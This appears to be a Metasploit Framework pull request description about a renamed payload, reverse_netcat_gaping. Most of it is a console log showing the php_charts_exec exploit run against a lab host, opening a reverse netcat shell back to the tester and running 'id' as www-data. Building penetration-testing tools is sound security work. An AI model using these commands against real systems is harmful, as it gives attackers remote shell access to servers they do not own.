Netcat gaping

Related to #1541 => Solving @jlee-r7 feedback!

Related to #1496 => it should help to merge this pr

modules still working after the change, you must use the renamed payload awright:

```
msf  exploit(php_charts_exec) > set rhost 192.168.1.159
rhost => 192.168.1.159
msf  exploit(php_charts_exec) > set payload cmd/unix/reverse_netcat_gaping 
payload => cmd/unix/reverse_netcat_gaping
msf  exploit(php_charts_exec) > rexploit
[*] Reloading module...

[-] Exploit failed: The following options failed to validate: LHOST.
msf  exploit(php_charts_exec) > set lhost 192.168.1.128
lhost => 192.168.1.128
msf  exploit(php_charts_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] 192.168.1.159:80 - Sending payload (206 bytes)
[*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.159:48131) at 2013-03-11 18:15:12 +0100

id

[-] Exploit failed [unexpected-reply]: 192.168.1.159:80 - Sending payload failed

uid=33(www-data) gid=33(www-data) groups=33(www-data)

```